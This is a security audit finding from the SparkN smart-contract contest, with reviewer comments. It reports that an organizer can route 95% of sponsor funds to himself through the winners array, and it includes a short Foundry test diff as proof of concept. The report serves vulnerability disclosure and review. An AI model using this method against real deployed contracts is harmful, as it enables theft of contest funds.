`Organizer` can be malicious and transfer *95%* of the funds from Contest contract to himself by passing only himself in winners array.

[codehawks-bot]

Organizer can be malicious and transfer 95% of the funds from Contest contract to himself by passing only himself in winners array.

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-08-sparkn/blob/main/src/ProxyFactory.sol#L127C5-L138C6

Summary

Organizer can be malicious and transfer 95% of the funds from Contest contract to himself by passing only himself in winners array. Other 5% transferred to STADIUM_ADDRESS as Fee.

Vulnerability Details

Organizer calls deployProxyAndDistribute of ProxyFactory.sol and pass only himself in winners array in encoded bytes data and call this function. This calls's proxy and proxy delegates the call to Distributor.sol its implementation and distribute the 95% of the total collected amount for winners in the Contest. In this case only Organizer passes himself in winners array in distribute function of Distribute.sol so 95% of funds of the contest will transfer to organizer.

Relevant Code links

https://github.com/Cyfrin/2023-08-sparkn/blob/main/src/ProxyFactory.sol#L127C5-L138C6

https://github.com/Cyfrin/2023-08-sparkn/blob/main/src/Proxy.sol#L51C5-L63C10

https://github.com/Cyfrin/2023-08-sparkn/blob/main/src/Distributor.sol#L92C5-L99C6

https://github.com/Cyfrin/2023-08-sparkn/blob/main/src/Distributor.sol#L128C7-L150C14

POC:

Change these below newly added lines in ProxyFactoryTest.t.sol and you can see at last 95% of total contest fund of 10000 tokens transferred to organizer. Other 5% transferred to STADIUM_ADDRESS as Fee.

   function createData() public view returns (bytes memory data) {
        address[] memory tokens_ = new address[](1);
        tokens_[0] = jpycv2Address;
        address[] memory winners = new address[](1);
-       winners[0] = user1;
+       winners[0] = organizer;
        uint256[] memory percentages_ = new uint256[](1);
        percentages_[0] = 9500;
        data = abi.encodeWithSelector(Distributor.distribute.selector, jpycv2Address, winners, percentages_, "");
    }

                ...

function testSucceedsWhenConditionsAreMet() public setUpContestForJasonAndSentJpycv2Token(organizer) {
        // before
        assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
        assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);

        bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
        bytes memory data = createData();
        // console.log(proxyFactory.saltToCloseTime(keccak256(abi.encode(organizer, randomId_, address(distributor)))));
        // console.log(proxyFactory.whitelistedTokens(jpycv2Address)); // true
        // console.log(distributor._isWhiteListed(jpycv2Address)); // true
+        uint256 prevOrganizerBalance = MockERC20(jpycv2Address).balanceOf( organizer );
        vm.warp(9 days); // 9 days later
        vm.startPrank(organizer);
        proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), data);
        vm.stopPrank();

        // after
-       assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500 ether);
+       uint256 currentExpectedOrganizerBalance = prevOrganizerBalance + 9500 ether;
+        assertEq(
+            MockERC20(jpycv2Address).balanceOf(organizer),
+            currentExpectedOrganizerBalance
+        );
        assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 500 ether);
    }

Impact

95% out of all the funds given by sponsors to contest can be stolen by Organizer.

Tools Used

Manual review and Foundry

Recommendations

Add mapping or array to store all the supporters and make sure the winners is chosen from those supporters only all sponsors see those supporters on UI.

[thenua3bhai]

Why this report is not selected ? It even contains a POC while current selected one's don't. @PatrickAlphaC said this if POC contained report is present then it will be selected over non POC contained. I think it should be selected over the current selected one.

[NikolaVelevjs]

But it should be invalid, because the developers said that the owner and the organizers will be trusted, and cannot be malicious